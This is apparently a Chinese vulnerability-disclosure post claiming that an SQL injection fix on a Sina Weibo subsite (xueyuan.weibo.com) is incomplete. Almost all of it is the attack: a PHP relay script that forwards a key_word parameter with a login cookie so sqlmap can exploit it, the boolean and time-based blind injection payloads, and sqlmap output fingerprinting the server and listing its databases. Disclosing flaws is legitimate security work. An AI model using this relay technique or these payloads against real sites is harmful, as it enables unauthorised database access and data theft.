新浪微博某分站修复不完善继续SQL注入(中转注入技巧)

<?php
 $uri = "http://xueyuan.weibo.com/course/index?key_word=$_GET[key_word]";
 $header = array();
 $ch = curl_init ();
 curl_setopt ( $ch, CURLOPT_URL, $uri );
 //curl_setopt ( $ch, CURLOPT_POST, 1 );
 curl_setopt ( $ch, CURLOPT_HEADER, 1 );
 curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );
 //curl_setopt ( $ch, CURLOPT_POSTFIELDS, $data );
 curl_setopt($ch,CURLOPT_HTTPHEADER,$header);   
 curl_setopt($ch,CURLOPT_COOKIE,'登录cookie');   
 $return = curl_exec ( $ch );
 curl_close ( $ch );
 if(strstr($return,'courseid=345'))
 {echo '1111';}
 else
 {echo '0';}
 ?>

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
 ---
 Place: GET
 Parameter: key_word
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: key_word=1%' AND 9902=9902 AND '%'='
 
     Type: AND/OR time-based blind
     Title: MySQL > 5.0.11 AND time-based blind
     Payload: key_word=1%' AND SLEEP(5) AND '%'='
 ---
 [15:33:26] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
 [15:33:26] [INFO] the back-end DBMS is MySQL
 web server operating system: Linux Debian
 web application technology: Apache 2.2.22, PHP 5.4.41
 back-end DBMS: MySQL 5.0.11
 [15:33:26] [INFO] fetching database names
 [15:33:26] [INFO] fetching number of databases
 [15:33:26] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
 [15:33:26] [INFO] retrieved: 3
 [15:33:27] [INFO] retrieved: information_schema
 [15:33:48] [INFO] retrieved: eps_daxue
 [15:34:00] [INFO] retrieved: test
 available databases [3]:
 [*] eps_daxue
 [*] information_schema
 [*] test